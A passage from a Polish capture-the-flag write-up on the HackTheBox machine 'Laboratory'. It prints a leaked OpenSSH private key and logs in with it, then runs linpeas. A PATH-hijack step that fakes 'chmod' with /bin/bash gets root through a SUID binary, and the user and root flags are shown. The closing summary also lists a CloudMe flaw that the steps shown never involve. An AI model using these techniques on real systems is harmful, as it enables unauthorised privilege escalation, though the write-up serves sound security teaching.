oznaczone klauzulą CONFIDENTIAL.
W repozytorium znalazłem między innymi klucz publiczny SSH:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratory
oraz prywatny:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Zapisałem jego zawartość do pliku dexter_priv_key
, nadałem właściwe uprawnienia oraz nawiązałem sesję ssh:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $chmod 400 ./dexter_priv_key
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $ssh dexter@git.laboratory.htb -i dexter_priv_key
Pozostało odczytać flagę użytkownika:
dexter@laboratory:~$ cat user.txt
7f0691db1efb9d1feead843b480d13f0
6. Eskalacja uprawnień: dexter ⇨ root
Ponownie przesłałem na serwer narzędzie linpeas.sh
:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $scp -i dexter_priv_key ./linpeas.sh dexter@git.laboratory.htb:/dev/shm/linpeas.sh
linpeas.sh 100% 223KB 663.1KB/s 00:00
i uruchomiłem je:
dexter@laboratory:/dev/shm$ chmod +x linpeas.sh
dexter@laboratory:/dev/shm$ ./linpeas.sh
Moją uwagę zwrócił proces:
20K -rwsr-xr-x 1 root dexter 17K Aug 28 14:52 /usr/local/bin/docker-security
który miał ustawiony bit SUID.
Nie znałem tego programu, nie znalazłem o nim wzmianki w dokumentacji Dockera ani na gtfobins. Pobrałem zatem plik na swoją maszynę:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $scp -i ../dexter_priv_key dexter@laboratory.htb:/usr/local/bin/docker-security ./
docker-security 100% 16KB 149.5KB/s 00:00
Plik był 64-bitowym plikiem wykonywalnym:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $file docker-security
docker-security: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d466f1fb0f54c0274e5d05974e81f19dc1e76602, for GNU/Linux 3.2.0, not stripped
Analiza ciągów znaków, które występowały w pliku, ujawniła możliwość wykorzystania polecenia chmod przez program:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $strings docker-security | grep chmod
chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock
Potwierdziłem ten fakt, uruchamiając cuttera i deasemblując program:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $cutter docker-security
Faktycznie, w funkcji main pojawiło się dwukrotne wywołanie polecenia chmod:
Pozostało zatem udostępnić programowi możliwość wykonania lepszej wersji narzędzia chmod:
dexter@laboratory:/dev/shm$ echo /bin/bash > chmod
dexter@laboratory:/dev/shm$ chmod +x chmod
dexter@laboratory:/dev/shm$ export PATH=/dev/shm:$PATH
dexter@laboratory:/dev/shm$ /usr/local/bin/docker-security
i odczytać flagę:
root@laboratory:/dev/shm# cat /root/root.txt
1ca8dc5e00c0a8fb955dd642b81f73eb
7. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności:
Udostępniony publicznie GitLab, który był elementem infrastruktury korporacyjnej i zawierał wrażliwe dane
Przestarzała wersja GitLaba CMS posiadająca znaną podatność klasy Arbitrary File Read oraz Remote Code Execution
Oprogramowanie z ustawionym bitem SUID, które było podatne na atak klasy Path Hijacking
Przestarzała wersja oprogramowania CloudMe posiadająca znaną podatność